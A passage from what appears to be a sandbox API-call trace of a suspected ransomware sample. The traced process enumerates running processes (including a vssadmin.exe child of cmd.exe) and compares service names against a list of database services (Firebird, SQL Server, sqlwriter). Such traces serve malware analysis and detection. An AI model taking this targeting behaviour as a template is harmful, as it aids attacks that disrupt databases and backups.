th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.371] lstrlenW (lpString="svchost.exe") returned 11 [0283.371] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0283.372] lstrlenW (lpString="taskhostw.exe") returned 13 [0283.372] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0283.372] lstrlenW (lpString="msoia.exe") returned 9 [0283.372] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0283.373] lstrlenW (lpString="explorer.exe") returned 12 [0283.373] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0283.374] lstrlenW (lpString="SearchUI.exe") returned 12 [0283.374] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0283.374] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0283.374] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0283.375] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0283.375] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0283.376] lstrlenW (lpString="1csrss.exe") returned 10 [0283.376] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.376] lstrlenW (lpString="svchost.exe") returned 11 [0283.376] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0283.377] lstrlenW (lpString="cmd.exe") returned 7 [0283.377] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0283.378] lstrlenW (lpString="conhost.exe") returned 11 [0283.378] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0283.378] lstrlenW (lpString="vssadmin.exe") returned 12 [0283.378] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0283.379] CloseHandle (hObject=0x3dc) returned 1 [0283.379] Sleep (dwMilliseconds=0x1f4) [0283.891] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddd18 [0283.891] EnumServicesStatusExW (in: hSCManager=0x7ddd18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0283.891] GetLastError () returned 0xea [0283.891] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1ca4) returned 0x7d7988 [0283.891] EnumServicesStatusExW (in: hSCManager=0x7ddd18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7d7988, cbBufSize=0x1ca4, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7d7988, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0283.892] CloseServiceHandle (hSCObject=0x7ddd18) returned 1 [0283.892] lstrlenW (lpString="AppXSvc") returned 7 [0283.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0283.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0283.892] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0283.892] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0283.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0283.892] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0283.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0283.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0283.893] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0283.893] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0283.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0283.893] lstrlenW (lpString="Audiosrv") returned 8 [0283.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0283.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0283.893] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0283.893] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0283.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0283.893] lstrlenW (lpString="BFE") returned 3 [0283.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0283.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0283.893] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0283.893] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0283.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0283.893] lstrlenW (lpString="BITS") returned 4 [0283.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0283.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0283.893] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0283.893] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0283.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0283.893] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0283.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0283.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0283.893] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0283.893] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0283.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0283.893] lstrlenW (lpString="CDPSvc") returned 6 [0283.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0283.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0283.894] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0283.894] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0283.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0283.894] lstrlenW (lpString="ClickToRunSvc") returned 13 [0283.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0283.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0283.894] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0283.894] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0283.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0283.894] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0283.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0283.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0283.894] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0283.894] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0283.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0283.894] lstrlenW (lpString="CryptSvc") returned 8 [0283.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0283.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0283.894] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0283.894] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0283.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0283.894] lstrlenW (lpString="DcomLaunch") returned 10 [0283.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0283.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0283.894] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0283.894] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0283.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0283.894] lstrlenW (lpString="DeviceAssociationService") returned 24 [0283.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0283.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0283.895] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0283.895] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0283.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0283.895] lstrlenW (lpString="Dhcp") returned 4 [0283.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0283.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0283.895] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0283.895] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0283.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0283.895] lstrlenW (lpString="Dnscache") returned 8 [0283.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0283.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0283.895] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0283.895] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0283.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0283.895] lstrlenW (lpString="DPS") returned 3 [0283.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0283.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0283.895] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0283.895] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0283.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0283.895] lstrlenW (lpString="DusmSvc") returned 7 [0283.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0283.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0283.895] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0283.895] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0283.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0283.896] lstrlenW (lpString="EventLog") returned 8 [0283.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0283.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0283.896] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0283.896] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0283.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0283.896] lstrlenW (lpString="EventSystem") returned 11 [0283.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0283.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0283.896] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0283.896] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0283.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0283.896] lstrlenW (lpString="FontCache") returned 9 [0283.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0283.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0283.896] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0283.896] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0283.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0283.896] lstrlenW (lpString="gpsvc") returned 5 [0283.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0283.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0283.896] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0283.896] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0283.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0283.896] lstrlenW (lpString="iphlpsvc") returned 8 [0283.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0283.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0283.896] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0283.896] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0283.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0283.897] lstrlenW (lpString="KeyIso") returned 6 [0283.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0283.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0283.897] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0283.897] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0283.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0283.897] lstrlenW (lpString="LanmanServer") returned 12 [0283.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0283.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0283.897] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0283.897] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0283.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0283.897] lstrlenW (lpString="LanmanWorkstation") returned 17 [0283.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0283.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0283.897] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0283.897] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0283.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0283.897] lstrlenW (lpString="lfsvc") returned 5 [0283.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0283.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0283.897] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0283.897] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0283.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0283.897] lstrlenW (lpString="lmhosts") returned 7 [0283.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0283.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0283.897] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0283.897] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0283.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0283.898] lstrlenW (lpString="LSM") returned 3 [0283.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0283.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0283.898] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0283.898] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0283.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0283.898] lstrlenW (lpString="MpsSvc") returned 6 [0283.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0283.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0283.898] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0283.898] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0283.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0283.898] lstrlenW (lpString="NcbService") returned 10 [0283.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0283.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0283.898] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0283.898] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0283.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0283.898] lstrlenW (lpString="netprofm") returned 8 [0283.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0283.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0283.898] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0283.898] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0283.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0283.898] lstrlenW (lpString="NgcSvc") returned 6 [0283.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0283.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0283.898] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0283.899] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0283.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0283.899] lstrlenW (lpString="NlaSvc") returned 6 [0283.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0283.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0283.899] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0283.899] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0283.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0283.899] lstrlenW (lpString="nsi") returned 3 [0283.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0283.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0283.899] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0283.899] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0283.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0283.899] lstrlenW (lpString="PcaSvc") returned 6 [0283.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0283.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0283.899] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0283.899] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0283.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0283.900] lstrlenW (lpString="PlugPlay") returned 8 [0283.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0283.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0283.900] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0283.900] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0283.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0283.900] lstrlenW (lpString="Power") returned 5 [0283.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0283.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0283.900] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0283.900] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0283.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0283.900] lstrlenW (lpString="ProfSvc") returned 7 [0283.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0283.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0283.900] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0283.900] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0283.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0283.900] lstrlenW (lpString="RpcEptMapper") returned 12 [0283.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0283.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0283.900] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0283.900] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0283.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0283.900] lstrlenW (lpString="RpcSs") returned 5 [0283.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0283.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0283.900] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0283.900] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0283.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0283.901] lstrlenW (lpString="SamSs") returned 5 [0283.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0283.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0283.901] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0283.901] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0283.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0283.901] lstrlenW (lpString="Schedule") returned 8 [0283.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0283.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0283.901] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0283.901] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0283.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0283.901] lstrlenW (lpString="SecurityHealthService") returned 21 [0283.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0283.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0283.901] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0283.901] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0283.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0283.901] lstrlenW (lpString="SENS") returned 4 [0283.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0283.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0283.901] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0283.901] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0283.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0283.901] lstrlenW (lpString="ShellHWDetection") returned 16 [0283.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0283.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 